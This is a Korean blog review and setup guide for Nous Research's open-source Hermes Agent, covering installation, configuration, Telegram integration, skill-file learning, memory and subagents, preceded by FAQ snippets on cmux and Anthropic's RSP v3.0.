RSP v3.0에서 삭제된 'pause 약속'은 무엇인가?

이전 RSP에는 안전 완화 조치를 보장하지 못하면 모델 개발을 중단한다는 하드 커밋먼트가 있었습니다. RSP v3.0(2026-02-24 발효)에서는 이 단독 pause 조항이 삭제됐습니다. 단순 조건 완화가 아니라 정책 구조가 변경됐습니다. 회사 자체 계획(company plans)과 산업 전체 권고(industry-wide recommendations)를 분리하고, Risk Reports·external review·competitor-contingent commitments를 포함한 다층 구조로 전환됐습니다. (출처: Anthropic RSP v3.0 전문, Appendix A)

Claude Mythos는 ASL-4 모델인가?

Anthropic이 공식적으로 ASL-4로 분류하지 않았습니다. 다만 유출 문서와 RSP v3.0 문서의 내용을 근거로 여러 매체가 'ASL-4 임박' 또는 '접근 중'이라고 분석합니다. ASL-4는 아직 정식으로 정의되지 않은 단계입니다.

cmux는 어떻게 설치하나요?

Homebrew로 간단히 설치할 수 있습니다. 터미널에서 'brew tap manaflow-ai/cmux' 후 'brew install --cask cmux'를 실행하면 됩니다. Homebrew가 없거나 tap이 안 될 경우 GitHub Releases 페이지에서 DMG 파일을 직접 다운로드할 수 있습니다.

cmux의 read-screen과 send 명령은 어떻게 활용하나요?

cmux read-screen [pane-id]로 특정 Pane의 현재 화면 내용을 텍스트로 읽을 수 있고, cmux send [pane-id] '명령어'로 해당 Pane에 명령을 전송할 수 있습니다. 이를 통해 Claude Code가 다른 터미널의 빌드 결과나 테스트 출력을 읽고 적절한 후속 명령을 실행하는 워크플로우를 구성할 수 있습니다.

cmux와 Claude Code를 연동하면 어떤 워크플로우가 가능한가요?

하나의 Pane에서 실행 중인 Claude Code가 다른 Pane의 서버 로그나 테스트 결과를 read-screen으로 모니터링하고, 문제 발생 시 send로 자동으로 명령을 보내는 자율 디버깅 워크플로우를 구성할 수 있습니다. 내장 WebKit 브라우저로 터미널을 벗어나지 않고 웹 결과도 확인할 수 있습니다.

cmux는 기존 터미널과 무엇이 다른가요?

cmux는 AI 에이전트가 터미널 화면을 읽고, 명령을 보내고, 브라우저를 제어하고, 알림을 받을 수 있도록 설계된 macOS 네이티브 터미널입니다. identify, read-screen, send 같은 에이전트 전용 CLI API를 제공해 에이전트 간 터미널 오케스트레이션이 가능합니다.

cmux의 4단계 계층 구조는 어떻게 구성되어 있나요?

Window > Workspace > Pane > Surface의 4단계 계층 구조로 구성됩니다. Window는 최상위 앱 창, Workspace는 논리적 작업 공간, Pane은 분할된 터미널 영역, Surface는 실제 터미널 세션입니다. Ghostty 엔진 기반 GPU 가속 렌더링을 사용합니다.

cmux를 Claude Code와 어떻게 연동하나요?

cmux 환경 변수가 자동으로 주입되어 Claude Code가 현재 cmux 세션을 인식합니다. Claude Code에서 cmux의 read-screen API를 호출해 다른 Pane의 출력을 읽고, send API로 명령을 보낼 수 있습니다. 리더-워커 패턴으로 하나의 Claude가 다른 여러 Claude 세션을 조율하는 구성이 가능합니다.

cmux를 사용하려면 Ghostty를 별도 설치해야 하나요?

아닙니다. cmux는 libghostty를 라이브러리로 임베드하고 있어 Ghostty를 별도로 설치할 필요가 없습니다. 다만, Ghostty의 설정 파일(~/.config/ghostty/config)이 있으면 cmux가 이를 읽어서 테마와 폰트를 적용합니다.

cmux에서 여러 AI 에이전트를 동시에 운영할 수 있나요?

가능합니다. 리더-워커 패턴이 커뮤니티에서 검증된 구성입니다. 리더 에이전트가 cmux read-screen으로 워커 에이전트의 진행 상황을 모니터링하고, cmux send로 수정 명령을 전달하는 구조입니다.

MiroFish 시뮬레이션 실행 비용과 따라하기 가이드는 어떻게 되나요?

Zhipu AI glm-4.5-air 모델 기준 MCP 논쟁 시뮬레이션 1회 비용은 수백 원 수준입니다. 시드 파일 준비 → docker compose up → 웹 UI에서 파일 업로드 → 5단계 파이프라인 실행 → 보고서 확인 순서로 진행합니다. 36명의 가상 전문가가 Twitter·Reddit 형식으로 N라운드 토론한 결과와 분석 보고서가 자동으로 생성됩니다.

갓대희의 작은공간

Q: cmux는 무료인가요?

cmux 코어는 AGPL-3.0 라이선스의 오픈소스 프로젝트로 무료 사용 가능합니다. 다만, 별도의 'Founder's Edition' 유료 구독이 존재하며, 우선 지원, AI 기능 조기 접근, iOS 앱, 클라우드 VM 등의 프리미엄 기능을 제공합니다.

Hermes Agent 리뷰 : 쓸수록 똑똑해지는 AI 에이전트(자가학습 메커니즘) - Hermes Agent로 반복 업무 자동화하기

갓대희 — Thu, 9 Apr 2026 23:59:05 +0900

안녕하세요! 갓대희 입니다.

Claude에게 프로젝트 구조를 설명했는데, 다음 세션에서 또 처음부터 설명하고 있는 자신을 발견한 적 있는가? 대부분의 AI 에이전트는 세션이 끝나면 모든 맥락을 잃는다.

Hermes Agent는 이 문제를 정면으로 다룬다. 슬로건이 "The agent that grows with you"인데, 같은 유형의 작업을 반복하면 패턴을 마크다운 스킬 파일로 저장해서, 다음에 비슷한 요청이 들어오면 처음부터 하지 않고 학습된 방식으로 처리한다. 실측으로 동일 작업에서 40% 속도 향상이 보고됐다. (출처: The New Stack)

이 글에서는 직접 설치해보면서 겪은 내용을 중심으로, 자가학습이 실제로 어떻게 동작하는지, 비용은 얼마나 드는지, 그리고 솔직한 한계까지 정리한다.

3줄 요약

1. Hermes Agent는 반복 작업 패턴을 스킬로 자동 학습하고, 세션 간 기억을 유지하는 오픈소스 AI 에이전트다.

2. curl 한 줄로 설치, 터미널/Telegram/Discord 등 15+ 플랫폼에서 원격 제어 가능. 월 비용은 API 종량제 기준 $10~$80 수준.

3. 단, IDE 통합 없음, 토큰 오버헤드 73%, 미해결 보안 이슈(RCE), 50회 이상 반복해야 학습 효과 체감 — 프로덕션 투입 전 반드시 검토 필요.

이런 분에게 추천: 반복 작업을 자동화하고 싶은 개발자, VPS에서 24/7 에이전트를 돌리고 싶은 사람, OpenClaw에서 넘어올 곳을 찾는 사람
추천하지 않는 경우: IDE 안에서 인라인 코드 어시스턴트가 필요한 경우, 단발성 1회 작업, Windows 네이티브 환경

프로젝트 개요 및 Nous Research 배경
설치 및 시작하기
핵심 기능 상세
기술 아키텍처 분석
소스코드 핵심 분석
활용법 및 통합
실전 사용 예시
제한사항 및 주의사항
트러블슈팅 Q&A
자율 에이전트 트렌드 맥락

1. 프로젝트 개요 및 Nous Research 배경

Nous Research는 어떤 곳인가

Nous Research는 공식 사이트, Hermes Agent 공식 문서, Hugging Face 조직 페이지를 통해 Hermes 계열 모델과 에이전트 소프트웨어를 공개하는 연구 조직임을 확인할 수 있다.

Hermes Agent 공식 소개 문구는 이를 "The self-improving AI agent built by Nous Research"라고 설명한다.

(출처: Nous Research 공식 사이트 + Hermes Agent 공식 문서 + Hugging Face NousResearch 조직 페이지)

저장소 지표 (2026-04-09 기준)

항목	규모 (실시간 변동)
GitHub 스타	41,273
포크	5,273
오픈 이슈+PR	2,306
기본 브랜치	main
기여자	254
최신 릴리즈	Hermes Agent v0.8.0 (v2026.4.8)
라이선스	MIT
주 언어	Python

저장소 토픽 태그에는 anthropic, claude, openai, codex, openclaw, nous-research 등이 포함되어 있다.

커뮤니티 반응 : 두 달 만에 35,000 스타를 받은 이유

Hermes Agent는 2026년 2월 25일 v0.1.0 출시 이후 두 달 만에 35,000개 이상의 GitHub 스타를 기록했다.

단순한 인기가 아니라, 오픈소스 AI 커뮤니티에서 "이 방향이 맞다"는 신호가 집단적으로 터져 나온 결과다.

공식 론칭과 즉각적 바이럴

@NousResearch가 공식 론칭 트윗에서 "Meet Hermes Agent, the open source agent that grows with you"라는 메시지를 올리자마자 커뮤니티가 반응했다.

AI 전문 유튜버 Wes Roth는 다음 날 상세 분석 게시물에서 "unlike standard stateless bots, Hermes Agent features a multi-level memory system paired with persistent dedicated machine access(일반적인 stateless 봇과 달리, Hermes Agent는 다단계 메모리 시스템과 지속적인 전용 머신 접근 기능을 제공합니다.)"라며 기존 에이전트와의 차별점을 부각했다.

OpenRouter "trending all week"

출시 직후 OpenRouter가 "Hermes Agent가 이번 주 내내 트렌딩 중이며 여러 순위에 올라 있다"고 공식 확인했다.

유료 API 연동 기반의 실제 사용량 급증을 의미한다. 단순 스타가 아닌 실사용 트래픽이 급증했다는 외부 검증이다.

해커톤 187개 제출 — 플랫폼으로 확장되는 신호

출시 한 달여 만에 개최된 해커톤에 187개 프로젝트가 제출됐다($11,750 상금).

브라우저 사이드카 확장, 재귀적 LoRA 자가개선, 인지 압축 스킬 등 단순 사용을 넘어 플랫폼으로서 확장되고 있음을 보여준다. NousResearch는 "Thank you to all 187 submitters. We loved seeing the range of domains and all of the uses for Hermes Agent you found that we could never have designed around(187명의 모든 제출자분들께 감사드립니다. 여러분이 발견해주신 다양한 도메인과 Hermes Agent의 활용 사례들을 보는 것이 정말 즐거웠습니다. 저희는 절대 상상도 못 했던 그런 용도들이었어요.)"이라고 밝혔다.

OpenClaw 사용자의 이전 — "그냥 된다"

커뮤니티에서 가장 주목받는 흐름은 기존 OpenClaw 사용자의 대거 이전이다.

"I switched to Hermes and honestly so far so good! I migrated my crons, memories and keys in one night. That just works(Hermes로 바꿨는데, 솔직히 지금까지는 정말 좋네요! crons, memories, keys까지 하룻밤 만에 다 옮겼어요. 그냥 잘 됩니다.)"라는 후기가 반복 등장했다.

The New Stack 비교 분석은 OpenClaw가 잦은 업데이트로 기존 설정을 자주 깨뜨리는 반면, Hermes는 더 안정적이라는 사용자 경험을 구체적으로 기록했다.

Kevin Simback은 "내가 Hermes의 우위를 확신하지 못했던 이유는 OpenClaw 커뮤니티의 강점 때문이었는데, 이제는 자신 있게 말할 수 있다 — Hermes 커뮤니티가 압도적"이라고 밝혔다.

비기술 사용자도 진입 가능 — "나 같은 사람을 위해 만들어진 것 같다"

v0.4.0 업데이트 이후 "코드 없이, 복잡한 설정 없이, 그냥 더 나아졌다"는 비기술 사용자의 후기가 이어졌다.

코딩 없이도 쓸 수 있다는 점이 개발자 외 사용자에게도 문턱을 낮춘다.

(출처: buildmvpfast.com — v0.4.0 분석)

반복 작업에서의 실측 효과

The New Stack 분석에 따르면, Hermes가 동일 리서치 작업에서 스킬을 자동 생성한 이후 약 40% 속도 향상이 보고됐다.

스킬 학습 전후의 속도 차이가 실측으로 확인된 사례다.

(출처: The New Stack — OpenClaw vs. Hermes Agent 비교)

2. 설치 및 시작하기

원라이너 설치

curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash

이 한 줄이 전부다. 스크립트를 열어보면 순차적으로 꽤 많은 것을 처리한다.

install.sh가 하는 일

스크립트가 알아서 uv(패키지 매니저), Python 3.11, Node.js 22 LTS까지 깔아준다. ripgrep이나 ffmpeg 같은 부수 도구도 OS에 맞는 패키지 매니저를 찾아서 설치한다. Git clone은 SSH를 먼저 시도하고, 안 되면 HTTPS로 넘어간다. 가상환경도 자동 생성되고, systemd gateway 서비스도 원하면 함께 설치된다. 한마디로, curl 한 줄 치면 나머지는 스크립트가 처리한다.

지원 플랫폼

Linux, macOS, WSL2에서 동작한다. Windows 네이티브는 안 된다. install.sh가 Windows를 감지하면 PowerShell 인스톨러로 안내하고 멈춘다.

핵심 CLI 명령

hermes          # 인터랙티브 CLI 시작
hermes model    # LLM 공급자 선택
hermes tools    # 도구 설정
hermes gateway  # 메시징 플랫폼 연결
hermes setup    # 전체 설정 마법사
hermes auth     # 자격증명 관리 (v0.8.0에서 구 'hermes login' 대체)

hermes setup은 설정 마법사로, v0.7.0에서 커스텀 엔드포인트를 덮어쓰지 않도록 개선됐다.

첫 실행 : 설치 후 실제 흐름

설치 후 실제로 겪게 되는 흐름을 정리한다. (출처: Hermes Quickstart 문서)

# 1. 설치
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
# → Done: 77 new, 0 updated, 0 unchanged. 77 total bundled.
# → Skills synced to ~/.hermes/skills/
source ~/.zshrc    # 또는 source ~/.bashrc

# 2. 첫 실행 → Setup Wizard 자동 시작
hermes
# → Starting setup wizard...
#
# "How would you like to set up Hermes?"
#   → Quick setup — provider, model & messaging (recommended)
#      Full setup — configure everything
#
# Quick setup: 공급자·모델 선택만 완료하면 바로 시작
# Full setup: 터미널 백엔드·메모리·압축 등 세부 설정까지 진행
#
# Quick setup → "Select provider:" 목록
#   → Nous Portal (Nous Research subscription)
#      OpenRouter (100+ models, pay-per-use)
#      Anthropic (Claude models — API key or Claude Code)  ← ⚠ 구독 토큰 사용 금지 (2026-04-04~), API 키만 허용
#      OpenAI Codex
#      Qwen OAuth (reuses local Qwen CLI login)
#      GitHub Copilot (uses GITHUB_TOKEN or gh auth token)
#      Hugging Face Inference Providers (20+ open models)
#      More providers...
#
# ⚠ 2026-04-04부터 Claude Code 구독 토큰의 3자 서비스 사용이 금지됐다.
#    Hermes에서 Anthropic 모델을 쓰려면 API 키(console.anthropic.com)를 발급받아야 한다.
#
# [선택사항] OpenClaw가 설치된 경우에만 표시 — 없어도 무관
# → "OpenClaw Installation Detected"
#    Found OpenClaw data at ~/.openclaw
# → "Would you like to import from OpenClaw? [Y/n]:"
#    Y: 메모리·스킬·크론·API 키 자동 이전 / N 또는 미설치: 다음 단계로

# 3. 바로 사용할 수 있는 기본 기능
❯ 현재 디스크 사용량 상위 5개 디렉토리 보여줘    # 터미널 명령 실행
❯ /help                                          # 슬래시 명령 목록
❯ /personality pirate                            # 페르소나 변경

# 4. 세션 이어가기
hermes -c           # 가장 최근 세션 재개

/를 입력하면 자동완성이 뜨며, /help, /tools, /model 등 슬래시 명령을 사용할 수 있다. 멀티라인 입력은 Alt+Enter 또는 Ctrl+J다.

ex) 설치 예시

- OpenClaw 연동 여부에 따라 OpenClaw에 되어있는 설정을 가져 갈 수 있는것으로 보인다.

- quick setup 으로 진행

⚠ 주의: Claude Code 구독 토큰의 3자 서비스 사용 금지 (2026-04-04 시행)

Anthropic은 2026년 4월 4일부터 Claude Free/Pro/Max 구독의 OAuth 토큰을 Hermes Agent, OpenClaw 등 제3자 도구에서 사용하는 것을 정책 위반으로 규정하고 기술적 차단을 적용했다. 구독 토큰은 Claude.ai 웹과 Claude Code 공식 CLI에서만 사용할 수 있다.

Hermes에서 Anthropic 모델을 쓰려면 API 키 방식(console.anthropic.com에서 발급, 종량제)을 사용해야 한다. 위반 시 사전 통보 없이 계정이 정지될 수 있다.

(출처: The Register, TechCrunch)

- 나의 경우 Anthropic - claude code 선택 (아래는 정책 변경 전 테스트 시점의 스크린샷이다)

- 구독모델 선택

- 챗 실행여부를 물어보면 Y로 진행해보자.

- 혹시 다음과 같이 오류가 발생하면, 보통 터미널 문제이다. 하기에 별도로 관련 내용도 작성해 두었다.

- 정상적으로 실행이 된 모습

config.yaml 기본 구조

설정 파일은 ~/.hermes/config.yaml이 단일 소스다. 우선순위: CLI 인자 > config.yaml > .env > 기본값.

(출처: Hermes Configuration 문서)

# ~/.hermes/config.yaml — 자주 사용하는 핵심 설정
agent:
  max_turns: 90
  reasoning_effort: ""        # xhigh, high, medium, low, minimal, none

terminal:
  backend: local              # local | docker | ssh | modal | daytona | singularity
  timeout: 180
  persistent_shell: true

memory:
  memory_enabled: true
  user_profile_enabled: true
  memory_char_limit: 2200

compression:
  enabled: true
  threshold: 0.50
  summary_model: "google/gemini-3-flash-preview"

display:
  tool_progress: all          # off | new | all | verbose
  show_cost: false

skills:
  config: {}

security:
  redact_secrets: true

hermes config edit로 편집하거나 hermes config set KEY VAL로 개별 항목을 변경할 수 있다. hermes config check는 업데이트 후 누락된 옵션을 찾아준다.

3. 핵심 기능 상세

다중 플랫폼 게이트웨이

터미널 CLI만 쓸 수도 있지만, Telegram, Discord, Slack, WhatsApp, Signal을 게이트웨이로 연결할 수 있다. 공식 문서는 14+ 플랫폼을 언급하는데, README에서 이름이 확인되는 건 이 5종이다. (출처: GitHub README)

예를 들어, Slack에서 "배포해줘"라고 보내면 에이전트가 서버에서 실행하고 결과를 돌려준다. 메시징 앱이 곧 에이전트 리모컨이 되는 셈이다.

Telegram 연동 미니 튜토리얼

가장 많이 쓰이는 Telegram 연동 방법을 정리한다. 5분이면 된다. (출처: Hermes Telegram 공식 문서)

Step 1: 봇 만들기

Telegram에서 @BotFather를 검색해서 대화를 시작한다.

/newbot을 보내면 이름과 username(끝이 bot으로 끝나야 함)을 물어본다. 완료되면 123456789:ABCdefGHI... 형태의 봇 토큰을 준다. 이 토큰은 비밀로 유지해야 한다.

상단 검색창에 @BotFather 검색 → 클릭해서 채팅 시작

채팅창에 /newbot 입력 후 전송

↓

BotFather가 질문하면 답변 입력

• "봇 이름?" → xxxx_bot (자유롭게)

• "봇 username?" → xxx

토큰 발급 완료! (채팅으로 토큰이 표시됨)

Step 2: 내 사용자 ID 확인

Telegram에서 @userinfobot에게 아무 메시지나 보내면 숫자 ID(예: 123456789)를 알려준다. username이 아니라 이 숫자 ID가 필요하다.

Step 3: Hermes에 연결

# 방법 1: 대화형 설정 (추천)
hermes gateway setup
# → Telegram 선택 → 봇 토큰 입력 → 사용자 ID 입력

# 방법 2: 수동 설정 (~/.hermes/.env에 추가)
TELEGRAM_BOT_TOKEN=123456789:ABCdefGHIjklMNOpqrSTUvwxYZ
TELEGRAM_ALLOWED_USERS=123456789    # 콤마로 여러 명 가능

# 게이트웨이 시작
hermes gateway

ex) > hermes gateway setup

- 아까 bot father가 발급해준 토큰 입력하고, user ids를 입력해주자.

Step 4: Home Channel 설정 (선택)

cron 작업 결과나 알림을 받을 채팅방을 지정할 수 있다. Home channel ID를 물어보는데, 비워두면 Skipped 처리 후 "Use your user ID as the home channel? [Y/n]"을 한 번 더 물어본다. Y를 누르면 봇과의 DM이 홈 채널이 되어 cron 결과가 DM으로 도착한다. 나중에 바꾸고 싶으면 채팅에서 /set-home을 입력하면 된다.

Step 5: 서비스 등록 + 테스트

설정이 끝나면 "Install the gateway as a launchd service?"를 물어본다. Y를 누르면 ~/Library/LaunchAgents/ai.hermes.gateway.plist에 서비스가 등록되고, 맥을 재부팅해도 게이트웨이가 자동으로 올라온다. (Linux에서는 systemd로 등록된다.)

"Start the service now?"에도 Y를 누르면 바로 시작된다. 이후 상태 확인과 로그는 다음 명령으로 가능하다:

hermes gateway status              # 게이트웨이 상태 확인
tail -f ~/.hermes/logs/gateway.log  # 실시간 로그 보기

Telegram에서 봇에게 메시지를 보내본다. 응답이 오면 성공이다.

ex) 하이 ~~ 라고 보내고 로그를 확인

- 로그에 찍히는 모습

- 응답이 왔다. 연결 성공~!

보안 주의: TELEGRAM_ALLOWED_USERS를 반드시 설정하라. 비워두면 기본적으로 모든 사용자가 거부된다. 봇 토큰이 유출됐다면 BotFather에서 /revoke로 즉시 폐기하라.

이제 Telegram에서 "현재 프로젝트 상태 요약해줘"라고 보내면 에이전트가 서버에서 실행하고 결과를 돌려준다. cron과 결합하면 "매일 아침 9시에 AI 뉴스 요약을 Telegram으로 보내줘" 같은 자동화도 가능하다.

40+ 내장 도구

README에는 "40개 이상"이라고 적혀 있는데, 실제로 tools/ 디렉토리를 열어보면 Python 파일이 50개 넘게 들어 있다(2026-04-07 기준). 파일 실행, 웹 검색, 코드 편집 같은 기본기부터 브라우저 제어, 이미지 분석까지 범위가 넓다.

cron 스케줄러

"매일 아침 9시에 일일 보고서 만들어줘" 같은 반복 작업을 걸어둘 수 있다. 내부적으로는 gateway가 60초마다 tick()을 호출하고, 파일 기반 락(~/.hermes/cron/.tick.lock)으로 중복 실행을 막는다. 결과가 없으면 알림을 보내지 않는다.

(출처: cron/scheduler.py)

다만 60초 폴링이라서 실시간 반응이 필요한 작업에는 맞지 않다.

병렬 서브에이전트

하나의 작업을 여러 에이전트에 나눠서 동시에 처리할 수 있다. README 표현으로는 "Spawn isolated subagents for parallel workstreams"이다. (출처: GitHub README)

예를 들어 "테스트 작성해"와 "문서 업데이트해"를 동시에 돌릴 수 있다. 각 서브에이전트는 독립된 컨텍스트와 터미널 세션을 가지고 있어서 서로 간섭하지 않는다.

구현체는 tools/delegate_tool.py이고(출처: tools/delegate_tool.py), 소스코드를 보면 안전장치가 몇 가지 있다:

동시에 돌릴 수 있는 자식 에이전트는 최대 3개(MAX_CONCURRENT_CHILDREN = 3). 에이전트가 에이전트를 만들고 그 에이전트가 또 에이전트를 만드는 무한 재귀는 깊이 2단계(MAX_DEPTH = 2)에서 차단된다. 자식 에이전트에서는 delegate_task, memory, execute_code 같은 위험한 도구도 사용할 수 없다.

호출은 단일 작업(goal) 또는 배열 배치(tasks)로 delegate_task()에 넘기면 된다.

4. 기술 아키텍처 분석

언어 구성

코드베이스의 93%가 Python이다. 나머지는 TeX, Shell 등이 조금씩 섞여 있다.

(출처: GitHub API languages 엔드포인트 직접 조회, 비율은 직접 계산값)

디렉토리 구조

hermes-agent/
├── agent/          # 핵심 에이전트 루프·메모리·모델
│   ├── memory_manager.py
│   ├── memory_provider.py
│   ├── builtin_memory_provider.py
│   ├── skill_utils.py
│   ├── skill_commands.py
│   ├── smart_model_routing.py
│   ├── credential_pool.py
│   └── anthropic_adapter.py
├── gateway/        # 플랫폼별 메시징
│   ├── channel_directory.py
│   ├── config.py
│   ├── delivery.py
│   ├── session.py
│   └── platforms/
├── skills/         # 카테고리별 스킬 (24+ 폴더)
├── tools/          # 도구 모듈 (50+ Python 파일)
└── cron/           # 스케줄러
    ├── scheduler.py
    └── jobs.py

(출처: GitHub API git/trees 직접 조회)

agent/가 에이전트 루프를 돌리고, gateway/가 메시징 입출력을 처리하고, skills/에 학습된 스킬이 쌓이고, tools/에 실행 도구가 모여 있다. 역할별로 디렉토리가 나뉘어 있어서 코드를 따라가기 수월하다.

UV 패키지 매니저

install.sh는 uv를 사용해 Python 가상환경과 의존성 설치를 구성한다.

5. 소스코드 핵심 분석

자가학습의 실제 구현: 스킬 시스템

스킬은 구조화된 마크다운 파일 형식으로 저장된다. agent/skill_utils.py가 YAML frontmatter를 파싱해 스킬 메타데이터를 관리한다.

# skill_utils.py 핵심 상수
PLATFORM_MAP = {"macos": "darwin", "linux": "linux", "windows": "win32"}
EXCLUDED_SKILL_DIRS = frozenset((".git", ".github", ".hub"))

def parse_frontmatter(content: str) -> Tuple[Dict[str, Any], str]:
    ...

(출처: agent/skill_utils.py)

macOS/Linux/Windows별로 스킬이 다르게 동작할 수 있어서, 플랫폼 매핑을 코드 수준에서 관리하고 있다.

스킬 파일 실물 예시

스킬은 ~/.hermes/skills/에 마크다운 파일로 저장된다. YAML frontmatter에 메타데이터, 본문에 절차를 기술하는 구조다.

(출처: Hermes Skills 문서)

---
name: my-deploy-script
description: 프로덕션 배포 자동화
version: 1.0.0
platforms: [macos, linux]
metadata:
  hermes:
    tags: [devops, deploy]
    category: devops
    requires_toolsets: [terminal]
---
# 프로덕션 배포

## When to Use
"배포해줘", "deploy to production" 등의 요청 시 활성화.

## Procedure
1. 현재 브랜치가 main인지 확인
2. 테스트 스위트 실행 (`npm test`)
3. 빌드 생성 (`npm run build`)
4. 원격 서버에 rsync로 전송

## Pitfalls
- main 외 브랜치에서 실행 시 경고 후 중단
- 테스트 실패 시 배포 차단

## Verification
배포 URL에 HTTP 200 응답 확인

스킬은 3단계로 로드된다:

Level 0(메타데이터 목록, ~3k 토큰)

→ Level 1(전체 내용 로드)

→ Level 2(참조 파일).

복잡한 작업(5회 이상 tool call) 완료 후 에이전트가 자율적으로 이런 파일을 생성하며, 설치된 스킬은 /my-deploy-script처럼 슬래시 명령으로 자동 등록된다.

agentskills.io 개방형 표준

복잡한 작업 후 에이전트가 경험을 구조화된 마크다운 스킬 파일로 자동 합성한다. README와 공식 Skills 문서는 Hermes가 agentskills.io 개방형 표준과 호환된다고 설명한다.

(출처: GitHub README + Hermes Skills 문서 + agentskills.io)

이 포맷은 Anthropic이 원안을 만들어 오픈 스탠다드로 공개한 것이다. Hermes 외에 Claude Code, GitHub Copilot, Cursor, OpenAI Codex, Gemini CLI 등 30개 이상의 에이전트 도구가 지원한다. Hermes에서 만든 스킬을 다른 플랫폼에서도 쓸 수 있고, 반대도 가능하다. 스킬이 특정 도구에 묶이지 않고 개발자가 가져갈 수 있는 구조다.

메모리 관리자 구조

agent/memory_manager.py를 보면, 기본 메모리(MEMORY.md + USER.md)는 항상 로드되고 빼낼 수 없다.

외부 플러그인 메모리(Honcho 등)는 1개만 연결할 수 있다. 두 번째를 연결하려 하면 경고가 뜨고 거부된다.

(출처: agent/memory_manager.py)

Honcho랑 다른 외부 메모리를 동시에 쓰고 싶다면, 현재로서는 방법이 없다.

install.sh 구조 요약

# install.sh 처리 순서 (요약)
1. OS 감지 → Windows는 PowerShell로 안내 후 중단
2. UV 없으면 다운로드 설치
3. Python 3.11 설치 (UV 경유)
4. Node.js 22 LTS 다운로드
5. ripgrep, ffmpeg 패키지 설치
6. Git clone (SSH → HTTPS fallback)
7. uv pip install (가상환경)
8. systemd gateway 서비스 선택 설치

6. 활용법 및 통합

자가학습의 실체 : 모델 훈련이 아니다

오해하기 쉬운 부분부터 짚고 넘어가자. Hermes의 "자가학습"은 LLM 모델 자체를 파인튜닝하는 게 아니다.

실제로는 반복 작업 패턴을 마크다운 파일로 구조화해서 저장하는 방식이다.

작업 중 도구 호출이 5회 이상 발생하거나, 에러를 복구하거나, 사용자가 수정을 가하면 에이전트가 그 과정을 분석해서 재사용 가능한 스킬 파일을 ~/.hermes/skills/에 저장한다.

(출처: Inside Hermes Agent - mranand.substack.com)

그래서 한 번만 쓰는 다양한 작업에서는 효과가 거의 없다. 같은 유형의 작업을 반복할수록 체감이 커진다.

커뮤니티 보고를 종합하면 대략 이렇다:

구분	학습 전 (처음 사용)	학습 후 (10~20회 반복 후)
브리핑	매번 같은 설명 반복	설명 없이 바로 시작
실행 속도	기준선	2~3배 향상 보고
질문 빈도	이미 답한 것도 다시 질문	알고 있는 것은 묻지 않음
세션 연속성	매 세션 처음부터	과거 세션 검색 가능

위 비교는 커뮤니티 보고 종합이며, 실제 효과는 작업 유형과 모델에 따라 달라진다.

(출처: Lushbinary Developer Guide, byteiota tutorial)

자가학습 5가지 메커니즘

1) FTS5 세션 검색 + LLM 요약

모든 CLI·메시징 세션이 ~/.hermes/state.db(SQLite)에 저장되며, FTS5 전문검색으로 과거 대화를 조회한다.

지난주에 X 배포 건 논의했나?"와 같은 cross-session 질의에 응답할 수 있다.

(출처: Hermes Sessions 문서)

단순히 대화를 저장하는 것과 검색까지 되는 것은 실사용에서 체감이 다르다.

2) 자율 스킬 생성

복잡한 작업(5회 이상 tool call) 완료 후 에이전트가 자율적으로 스킬 파일을 생성한다. 다음번에 비슷한 작업이 들어오면 학습된 스킬을 재사용한다.

3) 사용 중 스킬 자동 개선

기존 스킬을 실행하면서 더 나은 방법을 발견하면 스킬 자체를 갱신한다.

4) Honcho 기반 사용자 모델링

Honcho는 AI-native 메모리 백엔드인데, 대화를 통해 "이 사용자는 어떤 사람인가"를 추론해서 프로파일을 쌓아간다. v0.7.0에서 플러그인 시스템으로 전환됐다. 사용자 카드 조회(honcho_profile), 시맨틱 검색(honcho_search), LLM 합성 컨텍스트(honcho_context), 사실 저장(honcho_conclude) 4개 툴을 쓸 수 있다.

5) agentskills.io 개방형 표준 호환

앞서 설명한 스킬 표준. 다른 에이전트 플랫폼과 스킬을 공유할 수 있다.

터미널 백엔드 6종

에이전트가 명령을 실행하는 환경을 고를 수 있다. 로컬 머신에서 바로 돌릴 수도 있고, Docker로 격리할 수도 있고, 아예 서버리스에 맡길 수도 있다.

백엔드	특징
local	로컬 머신 직접 실행
Docker	컨테이너 격리 환경
SSH	원격 서버 연결
Daytona	서버리스 영속성·휴면 지원
Singularity	HPC/클러스터 환경
Modal	서버리스 영속성·휴면 지원

local/Docker는 개발용, SSH는 서버 운영, Daytona/Modal은 서버리스, Singularity는 연구 클러스터용이다.

모델 공급자 전환

hermes model 한 번이면 코드 수정 없이 모델을 바꿀 수 있다.

Nous Portal, OpenRouter(200+ 모델), OpenAI, z.ai/GLM, Kimi/Moonshot, MiniMax, 커스텀 엔드포인트까지 지원한다. 오늘은 Claude로 쓰다가 내일은 로컬 모델로 바꾸는 게 가능하다.

ACP: 에디터 MCP 통합

VS Code, Zed, JetBrains에서 이미 쓰고 있는 MCP 서버가 있다면 Hermes에 그대로 연결할 수 있다.

에디터에서 설정한 MCP 도구들을 에이전트가 바로 가져다 쓰는 구조다.

OpenClaw 마이그레이션

OpenClaw 쓰고 있었다면 hermes claw migrate 한 줄로 옮길 수 있다.

페르소나, 메모리, 스킬, API 키, 워크스페이스 설정을 자동으로 가져온다. 처음부터 다시 설정할 필요 없다.

ex) 이미 openclaw에 연결했던 supabase 설정이 살아있는지 확인해 보았다. 대부분 잘 마이그레이션 되어 있는 모습

7. 사용 예시

시나리오 A: 처음 5분 — 터미널에서 바로 첫 작업 실행하기

Hermes를 처음 쓴다면 게이트웨이 설정 없이 터미널 CLI만으로 시작하는 게 가장 빠르다. API 키 하나면 충분하다.

(출처: Hermes Quickstart 공식 문서)

# 1. 설치 (완료 시 생략)
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
source ~/.zshrc   # 또는 source ~/.bashrc

# 2. 초기 설정 (처음 한 번만)
hermes setup
# → LLM 공급자 선택: OpenAI / Anthropic / OpenRouter 중 택 1
# → API 키 입력
# → 게이트웨이: "CLI (터미널)"을 선택하면 메시지 앱 없이 바로 사용 가능

# 3. 에이전트 시작
hermes

# 4. 이제 자연어로 작업을 입력하면 된다
# 예시 입력:
# > "현재 디렉토리의 파이썬 파일 목록을 보여줘"
# > "README.md를 읽고 핵심 내용을 한국어로 요약해줘"
# > "날씨 API를 호출하는 파이썬 코드 작성 후 바로 실행해줘"

에이전트가 작업을 받아 터미널에서 직접 실행하고 결과를 반환한다.

